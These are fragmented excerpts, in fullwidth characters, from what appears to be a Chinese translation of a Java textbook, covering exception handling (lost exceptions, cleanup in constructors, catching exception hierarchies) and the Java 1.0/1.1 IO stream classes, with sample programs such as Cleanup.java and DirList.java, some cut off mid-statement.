    {"text": "｝ ２７９ ｝ ｃｌａｓｓ ＨｏＨｕｍＥｘｃｅｐｔｉｏｎ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ＂Ａ ｔｒｉｖｉａｌ ｅｘｃｅｐｔｉｏｎ＂； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＬｏｓｔＭｅｓｓａｇｅ ｛ ｖｏｉｄ ｆ（） ｔｈｒｏｗｓ ＶｅｒｙＩｍｐｏｒｔａｎｔＥｘｃｅｐｔｉｏｎ ｛ ｔｈｒｏｗ ｎｅｗ ＶｅｒｙＩｍｐｏｒｔａｎｔＥｘｃｅｐｔｉｏｎ（）； ｝ ｖｏｉｄ ｄｉｓｐｏｓｅ（） ｔｈｒｏｗｓ ＨｏＨｕｍＥｘｃｅｐｔｉｏｎ ｛ ｔｈｒｏｗ ｎｅｗ ＨｏＨｕｍＥｘｃｅｐｔｉｏｎ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ ＬｏｓｔＭｅｓｓａｇｅ ｌｍ ＝ ｎｅｗ ＬｏｓｔＭｅｓｓａｇｅ（）； ｔｒｙ ｛ ｌｍ．ｆ（）； ｝ ｆｉｎａｌｌｙ ｛ ｌｍ．ｄｉｓｐｏｓｅ（）；"},
    {"text": "｝ ｝ ｝ ／／／：￣ 输出如下： Ａ ｔｒｉｖｉａｌ ｅｘｃｅｐｔｉｏｎ ａｔ ＬｏｓｔＭｅｓｓａｇｅ．ｄｉｓｐｏｓｅ（ＬｏｓｔＭｅｓｓａｇｅ．ｊａｖａ：２１） ａｔ ＬｏｓｔＭｅｓｓａｇｅ．ｍａｉｎ（ＬｏｓｔＭｅｓｓａｇｅ．ｊａｖａ：２９） 可以看到，这里不存在 ＶｅｒｙＩｍｐｏｒｔａｎｔＥｘｃｅｐｔｉｏｎ（非常重要的违例）的迹象，它只是简单地被 ｆｉｎａｌｌｙ 从句 中的 ＨｏＨｕｍＥｘｃｅｐｔｉｏｎ 代替了。"},
    {"text": "由于这种做法并不完美（需要将一个地方的代码同另一个地方的结合起来），所以除非特别需 要，否则一般不要尝试在 ｆｉｎａｌｌｙ 中进行这种形式的清除。"},
    {"text": "这两个类都非常简单，大家现在可以毫无困难地掌握它们的基本用法： ／／： Ｃｌｅａｎｕｐ．ｊａｖａ ／／ Ｐａｙｉｎｇ ａｔｔｅｎｔｉｏｎ ｔｏ ｅｘｃｅｐｔｉｏｎｓ ／／ ｉｎ ｃｏｎｓｔｒｕｃｔｏｒｓ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
    {"text": "ｃｌａｓｓ ＩｎｐｕｔＦｉｌｅ ｛ ｐｒｉｖａｔｅ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ ｉｎ； ＩｎｐｕｔＦｉｌｅ（Ｓｔｒｉｎｇ ｆｎａｍｅ） ｔｈｒｏｗｓ Ｅｘｃｅｐｔｉｏｎ ｛ ｔｒｙ ｛ ｉｎ ＝ ｎｅｗ ＢｕｆｆｅｒｅｄＲｅａｄｅｒ（ ｎｅｗ ＦｉｌｅＲｅａｄｅｒ（ｆｎａｍｅ））； ／／ Ｏｔｈｅｒ ｃｏｄｅ ｔｈａｔ ｍｉｇｈｔ ｔｈｒｏｗ ｅｘｃｅｐｔｉｏｎｓ ｝ ｃａｔｃｈ（ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｕｌｄ ｎｏｔ ｏｐｅｎ ＂ ＋ ｆｎａｍｅ）； ／／ Ｗａｓｎ＇ｔ ｏｐｅｎ， ｓｏ ｄｏｎ＇ｔ ｃｌｏｓｅ ｉｔ ｔｈｒｏｗ ｅ； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ／／ Ａｌｌ ｏｔｈｅｒ ｅｘｃｅｐｔｉｏｎｓ ｍｕｓｔ ｃｌｏｓｅ ｉｔ ｔｒｙ ｛ ｉｎ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ２） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｉｎ．ｃｌｏｓｅ（） ｕｎｓｕｃｃｅｓｓｆｕｌ＂）； ｝ ｔｈｒｏｗ ｅ； ｝ ｆｉｎａｌｌｙ ｛ ／／ Ｄｏｎ＇ｔ ｃｌｏｓｅ ｉｔ ｈｅｒｅ！"},
    {"text": "｝ ｝ Ｓｔｒｉｎｇ ｇｅｔＬｉｎｅ（） ｛ Ｓｔｒｉｎｇ ｓ； ｔｒｙ ｛ ｓ ＝ ｉｎ．ｒｅａｄＬｉｎｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｒｅａｄＬｉｎｅ（） ｕｎｓｕｃｃｅｓｓｆｕｌ＂）； ｓ ＝ ＂ｆａｉｌｅｄ＂； ｝ ｒｅｔｕｒｎ ｓ； ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ ｔｒｙ ｛ ｉｎ．ｃｌｏｓｅ（）； ｝ ｃａｔｃｈ（ＩＯＥｘｃｅｐｔｉｏｎ ｅ２） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｉｎ．ｃｌｏｓｅ（） ｕｎｓｕｃｃｅｓｓｆｕｌ＂）； ｝ ｝ ２８１ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｌｅａｎｕｐ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ＩｎｐｕｔＦｉｌｅ ｉｎ ＝ ｎｅｗ ＩｎｐｕｔＦｉｌｅ（＂Ｃｌｅａｎｕｐ．ｊａｖａ＂）； Ｓｔｒｉｎｇ ｓ； ｉｎｔ ｉ ＝ １； ｗｈｉｌｅ（（ｓ ＝ ｉｎ．ｇｅｔＬｉｎｅ（）） ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂＂＋ ｉ＋＋ ＋ ＂： ＂ ＋ ｓ）； ｉｎ．ｃｌｅａｎｕｐ（）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｃａｕｇｈｔ ｉｎ ｍａｉｎ， ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）＂）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｝ ／／／：￣ 该例使用了 Ｊａｖａ １．１ ＩＯ 类。"},
    {"text": "其他任何捕获从句（ｃａｔｃｈ） 都必须关闭文件，因为文件已在进入那些捕获从句时打开（当然，如果多个方法都能产生一个 ＦｉｌｅＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ 违例，就需要稍微用一些技巧。"},
    {"text": "对违例来说，一项特别的设计问题是决 定在这一级完全控制一个违例，还是进行部分控制，并传递相同（或不同）的违例，或者只是简单地传递 它。"},
    {"text": "ｇｅｔＬｉｎｅ（）方法会变成： Ｓｔｒｉｎｇ ｇｅｔＬｉｎｅ（） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｒｅｔｕｒｎ ｉｎ．ｒｅａｄＬｉｎｅ（）；"},
    {"text": "用户使用完毕 ＩｎｐｕｔＦｉｌｅ 对象后，必须调用 ｃｌｅａｎｕｐ（）方法，以便释放由 ＢｕｆｆｅｒｅｄＲｅａｄｅｒ 以及／或者 ＦｉｌｅＲｅａｄｅｒ 占用的系统资源（如文件句柄）——注释⑥。"},
    {"text": "大家可能想把这样的机制置入一个 ｆｉｎａｌｉｚｅ（）方法内，但正如第 ４ 章指出 的那样，并非总能保证 ｆｉｎａｌｉｚｅ（）获得正确的调用（即便确定它会调用，也不知道何时开始）。"},
    {"text": "这属于 Ｊａｖａ 的一项缺陷——除内存清除之外的所有清除都不会自动进行，所以必须知会客户程序员，告诉他们有责任用 ｆｉｎａｌｉｚｅ（）保证清除工作的正确进行。"},
    {"text": "一个衍生类对象可与基础类的一个控制器相配，如下 例所示： ／／： Ｈｕｍａｎ．ｊａｖａ ／／ Ｃａｔｃｈｉｎｇ Ｅｘｃｅｐｔｉｏｎ Ｈｉｅｒａｒｃｈｉｅｓ ｃｌａｓｓ Ａｎｎｏｙａｎｃｅ ｅｘｔｅｎｄｓ Ｅｘｃｅｐｔｉｏｎ ｛｝ ｃｌａｓｓ Ｓｎｅｅｚｅ ｅｘｔｅｎｄｓ Ａｎｎｏｙａｎｃｅ ｛｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｈｕｍａｎ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ ｔｈｒｏｗ ｎｅｗ Ｓｎｅｅｚｅ（）；"},
    {"text": "｝ ｃａｔｃｈ（Ｓｎｅｅｚｅ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｕｇｈｔ Ｓｎｅｅｚｅ＂）； ｝ ｃａｔｃｈ（Ａｎｎｏｙａｎｃｅ ａ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｕｇｈｔ Ａｎｎｏｙａｎｃｅ＂）；"},
    {"text": "｝ ｃａｔｃｈ（Ａｎｎｏｙａｎｃｅ ａ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｕｇｈｔ Ａｎｎｏｙａｎｃｅ＂）； ｝ ｃａｔｃｈ（Ｓｎｅｅｚｅ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃａｕｇｈｔ Ｓｎｅｅｚｅ＂）；"},
    {"text": "（４） 在当前环境中尽可能解决问题，以及将相同的违例重新“掷”出一个更高级的环境。 （５） 在当前环境中尽可能解决问题，以及将不同的违例重新“掷”出一个更高级的环境。"},
    {"text": "这既是一种“短期投资”（便于调试），也是一种“长期投资”（改 善应用程序的健壮性） ９ ． ９ 总结 通过先进的错误纠正与恢复机制，我们可以有效地增强代码的健壮程度。"},
    {"text": "（４） 在第 ５ 章，找到调用了 Ａｓｓｅｒｔ．ｊａｖａ 的两个程序，并修改它们，令其掷出自己的违例类型，而不是打印 到 Ｓｙｓｔｅｍ．ｅｒｒ。"},
    {"text": "不仅有三种不同的种类的 ＩＯ 需要考虑（文件、控制台、网络连接），而且需要通过大量不同的 方式与它们通信（顺序、随机访问、二进制、字符、按行、按字等等）。"},
    {"text": "事实上，Ｊａｖａ 的 ＩＯ 系统采用了如此多的类，以致刚开始 会产生不知从何处入手的感觉（具有讽刺意味的是，Ｊａｖａ 的 ＩＯ 设计初衷实际要求避免过多的类）。"},
    {"text": "从 Ｊａｖａ １．０ 升级到 Ｊａｖａ １．１ 后，ＩＯ 库的设计也发生了显著的变化。 此时并非简单地用新库替换旧库，Ｓｕｎ 的设计人 员对原来的库进行了大手笔的扩展，添加了大量新的内容。"},
    {"text": "注意若用 Ｊａｖａ １．１ 编译器来编译本章第一部分介绍的部分代码，可能会得到一条“不建议使用 该特性”（Ｄｅｐｒｅｃａｔｅｄ ｆｅａｔｕｒｅ）警告消息。"},
    {"text": "但我们这样做是有价值的，因为可以更清楚地认识老方法与新方法之间的一些差异，从而加 深我们的理解（并可顺利阅读为 Ｊａｖａ １．０ 写的代码）。"},
    {"text": "通过继承，从 ＩｎｐｕｔＳｔｒｅａｍ（输入流）衍生的所有类都拥有名为 ｒｅａｄ（）的基本方法，用于读取单个字节或者 字节数组。 类似地，从 ＯｕｔｐｕｔＳｔｒｅａｍ 衍生的所有类都拥有基本方法 ｗｒｉｔｅ（），用于写入单个字节或者字节数 组。"},
    {"text": "这些起源地包括（每个都有一个相关的 ＩｎｐｕｔＳｔｒｅａｍ 子类）： （１） 字节数组 （２） Ｓｔｒｉｎｇ 对象 （３） 文件 （４） “管道”，它的工作原理与现实生活中的管道类似：将一些东西置入一端，它们在另一端出来。"},
    {"text": "除此以外，ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 也属于 ＩｎｐｕｔＳｔｒｅａｍ 的一种类型，用它可为“破坏器”类提供一个基础类， 以便将属性或者有用的接口同输入流连接到一起。"},
    {"text": "表 １０．１ ＩｎｐｕｔＳｔｒｅａｍ 的类型 类 功能 构建器参数／如何使用 ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ 允许内存中的一个缓冲区作为 ＩｎｐｕｔＳｔｒｅａｍ 使用 从中提取字节的缓冲区／作为一个 数据源使用。"},
    {"text": "通过将其同一个 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 对象连接，可提供一个有用的接口 ２８５ ＳｔｒｉｎｇＢｕｆｆｅｒＩｎｐｕｔＳｔｒｅａｍ 将一个 Ｓｔｒｉｎｇ 转换成 ＩｎｐｕｔＳｔｒｅａｍ 一个 Ｓｔｒｉｎｇ（字串）。"},
    {"text": "通过将其同一个 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 对象连 接，可提供一个有用的接口 ＦｉｌｅＩｎｐｕｔＳｔｒｅａｍ 用于从文件读取信息 代表文件名的一个 Ｓｔｒｉｎｇ，或者一个 Ｆｉｌｅ 或 ＦｉｌｅＤｅｓｃｒｉｐｔｏｒ 对象 ／作为一个数据源使用。 通过将其同一个 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 对象连接，可提供一个有用的接口 ＰｉｐｅｄＩｎｐｕｔＳｔｒｉｎｇ 产生为相关的 ＰｉｐｅｄＯｕｔｐｕｔＳｔｒｅａｍ 写的数据。"},
    {"text": "通过将其同一个 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 对象连接，可提供一个有用 的接口 ＳｅｑｕｅｎｃｅＩｎｐｕｔＳｔｒｅａｍ 将两个或更多的 ＩｎｐｕｔＳｔｒｅａｍ 对象转换成单个 ＩｎｐｕｔＳｔｒｅａｍ 使用 两个ＩｎｐｕｔＳｔｒｅａｍ 对 象或者一个 Ｅｎｕｍｅｒａｔｉｏｎ，用于 ＩｎｐｕｔＳｔｒｅａｍ 对象的一个容器／作为一个数据源使用。 通过将其同一个 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 对象连接，可提供一个有用的接口 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 对作为破坏器接口使用的类进行抽象；"},
    {"text": "参见表 １０．３ 参见表 １０．３／参见表 １０．３ １ ０ ． １ ． ２ Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ 的类型 这一类别包括的类决定了我们的输入往何处去：一个字节数组（但没有 Ｓｔｒｉｎｇ；"},
    {"text": "表 １０．２ ＯｕｔｐｕｔＳｔｒｅａｍ 的类型 类 功能 构建器参数／如何使用 ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ 在内存中创建一个缓冲区。"},
    {"text": "若将其同 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 对象连接到一起，可提供一个有用 的接口 ＦｉｌｅＯｕｔｐｕｔＳｔｒｅａｍ 将信息发给一个文件 用一个 Ｓｔｒｉｎｇ 代表文件名，或选用一个 Ｆｉｌｅ 或 ＦｉｌｅＤｅｓｃｒｉｐｔｏｒ 对 象／用于指出数据的目的地。 若将其同 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 对象连接到一起，可提供一个有用的接口 ＰｉｐｅｄＯｕｔｐｕｔＳｔｒｅａｍ 我们写给它的任何信息都会自动成为相关的 ＰｉｐｅｄＩｎｐｕｔＳｔｒｅａｍ 的输出。"},
    {"text": "实现了“管道 化”的概念 ＰｉｐｅｄＩｎｐｕｔＳｔｒｅａｍ／为多线程处理指出自己数据的目的地／将其同 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 对象连 接到一起，便可提供一个有用的接口 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 对作为破坏器接口使用的类进行抽象处理；"},
    {"text": "参见表 １０．４ 参见表 １０．４／参见表 １０．４ １ ０ ． ２ 增添属性和有用的接口 利用层次化对象动态和透明地添加单个对象的能力的做法叫作“装饰器”（Ｄｅｃｏｒａｔｏｒ）方案——“方案”属 于本书第 １６ 章的主题（注释①）。"},
    {"text": "装饰器方案规定封装于初始化对象中的所有对象都拥有相同的接口，以便 利用装饰器的“透明”性质——我们将相同的消息发给一个对象，无论它是否已被“装饰”。"},
    {"text": "这正是在 Ｊａｖａ ＩＯ 库里存在“过滤器”（Ｆｉｌｔｅｒ）类的原因：抽象的“过滤器”类是所有装饰器的基础类（装饰器必须拥有 与它装饰的那个对象相同的接口，但装饰器亦可对接口作出扩展，这种情况见诸于几个特殊的“过滤器”类 中）。"},
    {"text": "ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 和 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ （这两个名字不十分直观）提供了相应的装饰器接口，用于控制 一个特定的输入流（ＩｎｐｕｔＳｔｒｅａｍ）或者输出流（ＯｕｔｐｕｔＳｔｒｅａｍ）。"},
    {"text": "事实上，ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 和 ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 只是简单地模仿了自己的基础类，它们 是一个装饰器的基本要求。"},
    {"text": "１ ０ ． ２ ． １ 通过 Ｆ ｉ ｌ ｔ ｅ ｒ Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ 从 Ｉ ｎ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ 里读入数据 ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 类要完成两件全然不同的事情。 其中，ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 允许我们读取不同的基本类型数 据以及 Ｓｔｒｉｎｇ 对象（所有方法都以“ｒｅａｄ”开头，比如 ｒｅａｄＢｙｔｅ（），ｒｅａｄＦｌｏａｔ（）等等）。 伴随对应的 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ，我们可通过数据“流”将基本类型的数据从一个地方搬到另一个地方。"},
    {"text": "后两种类看起来特别象提供对构建一个编译器的支持（换言之，添加它们为了支持 Ｊａｖａ 编译器的构建），所以在常规编程中一般都用不着它们。"},
    {"text": "表 １０．３ ＦｉｌｔｅｒＩｎｐｕｔＳｔｒｅａｍ 的类型 类 功能 构建器参数／如何使用 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 与 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 联合使用，使自己能以机动方式读取一个流中的基本数据类型 （ｉｎｔ，ｃｈａｒ，ｌｏｎｇ 等等） ＩｎｐｕｔＳｔｒｅａｍ／包含了一个完整的接口，以便读取基本数据类型 ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ 避免每次想要更多数据时都进行物理性的读取，告诉它“请先在缓冲区里找” ＩｎｐｕｔＳｔｒｅａｍ，没有可选的缓冲区大小／本身并不能提供一个接口，只是发出使用缓冲区的要求。"},
    {"text": "可调用 ｇｅｔＬｉｎｅＮｕｍｂｅｒ（）以及 ｓｅｔＬｉｎｅＮｕｍｂｅｒ（ｉｎｔ） 只是添加 对数据行编号的能力，所以可能需要同一个真正的接口对象连接 ＰｕｓｈｂａｃｋＩｎｐｕｔＳｔｒｅａｍ 有一个字节的后推缓冲区，以便后推读入的上一个字符 ＩｎｐｕｔＳｔｒｅａｍ／通常由编译器 在扫描器中使用，因为 Ｊａｖａ 编译器需要它。"},
    {"text": "一般不在自己的代码中使用 １ ０ ． ２ ． ２ 通过 Ｆ ｉ ｌ ｔ ｅ ｒ Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ 向 Ｏ ｕ ｔ ｐ ｕ ｔ Ｓ ｔ ｒ ｅ ａ ｍ 里写入数据 与 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 对应的是 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ，后者对各个基本数据类型以及 Ｓｔｒｉｎｇ 对象进行格式化， 并将其置入一个数据“流”中，以便任何机器上的 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 都能正常地读取它们。"},
    {"text": "这与 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 正好相反，后者的目标是 将那些数据置入一个数据流中，以便 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 能够方便地重新构造它们。"},
    {"text": "ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ 属于一种“修改器”，用于指示数据流使用缓冲技术，使自己不必每次都向流内物理 性地写入数据。"},
    {"text": "表 １０．４ ＦｉｌｔｅｒＯｕｔｐｕｔＳｔｒｅａｍ 的类型 类 功能 构建器参数／如何使用 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 与 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 配合使用，以便采用方便的形式将基本数据类型（ｉｎｔ，ｃｈａｒ，ｌｏｎｇ 等）写入一个数据流 ＯｕｔｐｕｔＳｔｒｅａｍ／包含了完整接口，以便我们写入基本数据类型 ＰｒｉｎｔＳｔｒｅａｍ 用于产生格式化输出。"},
    {"text": "ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 控制的是数据的“存储”，而 ＰｒｉｎｔＳｔｒｅａｍ 控制的是 “显示” ＯｕｔｐｕｔＳｔｒｅａｍ，可选一个布尔参数，指示缓冲区是否与每个新行一同刷新／对于自己的 ＯｕｔｐｕｔＳｔｒｅａｍ 对象，应该用“ｆｉｎａｌ”将其封闭在内。 可能经常都要用到它 ２８７ ＢｕｆｆｅｒｅｄＯｕｔｐｕｔＳｔｒｅａｍ 用它避免每次发出数据的时候都要进行物理性的写入，要求它“请先在缓冲区里 找”。 可调用 ｆｌｕｓｈ（），对缓冲区进行刷新 ＯｕｔｐｕｔＳｔｒｅａｍ，可选缓冲区大小／本身并不能提供一个接口，只 是发出使用缓冲区的要求。"},
    {"text": "需要同一个接口对象连接到一起 １ ０ ． ３ 本身的缺陷： Ｒ ａ ｎ ｄ ｏ ｍ Ａ ｃ ｃ ｅ ｓ ｓ Ｆ ｉ ｌ ｅ ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 用于包含了已知长度记录的文件，以便我们能用 ｓｅｅｋ（）从一条记录移至另一条；"},
    {"text": "首先，我们有点难以相信 ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 不属于 ＩｎｐｕｔＳｔｒｅａｍ 或者 ＯｕｔｐｕｔＳｔｒｅａｍ 分层结构的一部分。"},
    {"text": "除 了恰巧实现了 ＤａｔａＩｎｐｕｔ 以及 ＤａｔａＯｕｔｐｕｔ（这两者亦由 ＤａｔａＩｎｐｕｔＳｔｒｅａｍ 和 ＤａｔａＯｕｔｐｕｔＳｔｒｅａｍ 实现）接口 之外，它们与那些分层结构并无什么关系。"},
    {"text": "其中， ｇｅｔＦｉｌｅＰｏｉｎｔｅｒ（）用于了解当前在文件的什么地方，ｓｅｅｋ（）用于移至文件内的一个新地点，而 ｌｅｎｇｔｈ（）用于 判断文件的最大长度。"},
    {"text": "很容易想象我们有时要在其他类型的数据流中搜索，比如一个 ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ，但 搜索方法只有 ＲａｎｄｏｍＡｃｃｅｓｓＦｉｌｅ 才会提供。"},
    {"text": "此时， ＢｕｆｆｅｒｅｄＩｎｐｕｔＳｔｒｅａｍ 确实允许我们标记一个位置（使用 ｍａｒｋ（），它的值容纳于单个内部变量中），并用 ｒｅｓｅｔ（）重设那个位置。"},
    {"text": "下面是用于这个例子的代码（或在执行该程序时遇到困难，请参考第 ３ 章 ３．１．２ 小节“赋值”）： ／／： ＤｉｒＬｉｓｔ．ｊａｖａ ／／ Ｄｉｓｐｌａｙｓ ｄｉｒｅｃｔｏｒｙ ｌｉｓｔｉｎｇ ｐａｃｋａｇｅ ｃ１０；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＤｉｒＬｉｓｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｒｙ ｛ Ｆｉｌｅ ｐａｔｈ ＝ ｎｅｗ Ｆｉｌｅ（＂．＂）； Ｓｔｒｉｎｇ［］ ｌｉｓｔ； ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＝＝ ０） ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（）； ｅｌｓｅ ｌｉｓｔ ＝ ｐａｔｈ．ｌｉｓｔ（ｎｅｗ ＤｉｒＦｉｌｔｅｒ（ａｒｇｓ［０］））； ２８８ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｓｔ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｉｓｔ［ｉ］）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｝ ｝ ｃｌａｓｓ ＤｉｒＦｉｌｔｅｒ ｉｍｐｌｅｍｅｎｔｓ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ ｛ Ｓｔｒｉｎｇ ａｆｎ； ＤｉｒＦｉｌｔｅｒ（Ｓｔｒｉｎｇ ａｆｎ） ｛ ｔｈｉｓ．ａｆｎ ＝ ａｆｎ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ａｃｃｅｐｔ（Ｆｉｌｅ ｄｉｒ， Ｓｔｒｉｎｇ ｎａｍｅ） ｛ ／／ Ｓｔｒｉｐ ｐａｔｈ ｉｎｆｏｒｍａｔｉｏｎ： Ｓｔｒｉｎｇ ｆ ＝ ｎｅｗ Ｆｉｌｅ（ｎａｍｅ）．ｇｅｔＮａｍｅ（）； ｒｅｔｕｒｎ ｆ．ｉｎｄｅｘＯｆ（ａｆｎ） ！"},
    {"text": "｝ ｝ ／／／：￣ ＤｉｒＦｉｌｔｅｒ 类“实现”了 ｉｎｔｅｒｆａｃｅ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ（关于接口的问题，已在第 ７ 章进行了详述）。"},
    {"text": "下面让 我们看看 ＦｉｌｅｎａｍｅＦｉｌｔｅｒ 接口有多么简单： ｐｕｂｌｉｃ ｉｎｔｅｒｆａｃｅ ＦｉｌｅｎａｍｅＦｉｌｔｅｒ ｛ ｂｏｏｌｅａｎ ａｃｃｅｐｔ（文件目录， 字串名）；"},
    {"text": "之所以要创建这样的一个类，背后的全部原 因就是把 ａｃｃｅｐｔ（）方法提供给 ｌｉｓｔ（）方法，使 ｌｉｓｔ（）能够“回调”ａｃｃｅｐｔ（） ，从而判断应将哪些文件名包 括到列表中。"},
    {"text": "因此，通常将这种技术称为“回调”，有时也称为“算子”（也就是说，ＤｉｒＦｉｌｔｅｒ 是一个算 子，因为它唯一的作用就是容纳一个方法）。"},
    {"text": "由于 ｌｉｓｔ（）采用一个 ＦｉｌｅｎａｍｅＦｉｌｔｅｒ 对象作为自己的自变量 使用，所以我们能传递实现了 ＦｉｌｅｎａｍｅＦｉｌｔｅｒ 的任何类的一个对象，用它决定（甚至在运行期）ｌｉｓｔ（）方法 的行为方式。"},
    {"text": "通过 ＤｉｒＦｉｌｔｅｒ，我们看出尽管一个“接口”只包含了一系列方法，但并不局限于只能写那些方法（但是， 至少必须提供一个接口内所有方法的定义。"},
    {"text": "记住 ｌｉｓｔ（）方 法准备为目录对象中的每个文件名调用 ａｃｃｅｐｔ（），核实哪个应包含在内——具体由 ａｃｃｅｐｔ（）返回的“布尔” 结果决定。"},
    {"text": "首先创建了一个 ｆｉｌｔｅｒ（）方法，它返回指 向 ＦｉｌｅｎａｍｅＦｉｌｔｅｒ 的一个句柄： ／／： ＤｉｒＬｉｓｔ２．ｊａｖａ ／／ Ｕｓｅｓ Ｊａｖａ １．１ ａｎｏｎｙｍｏｕｓ ｉｎｎｅｒ ｃｌａｓｓｅｓ ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊；"},
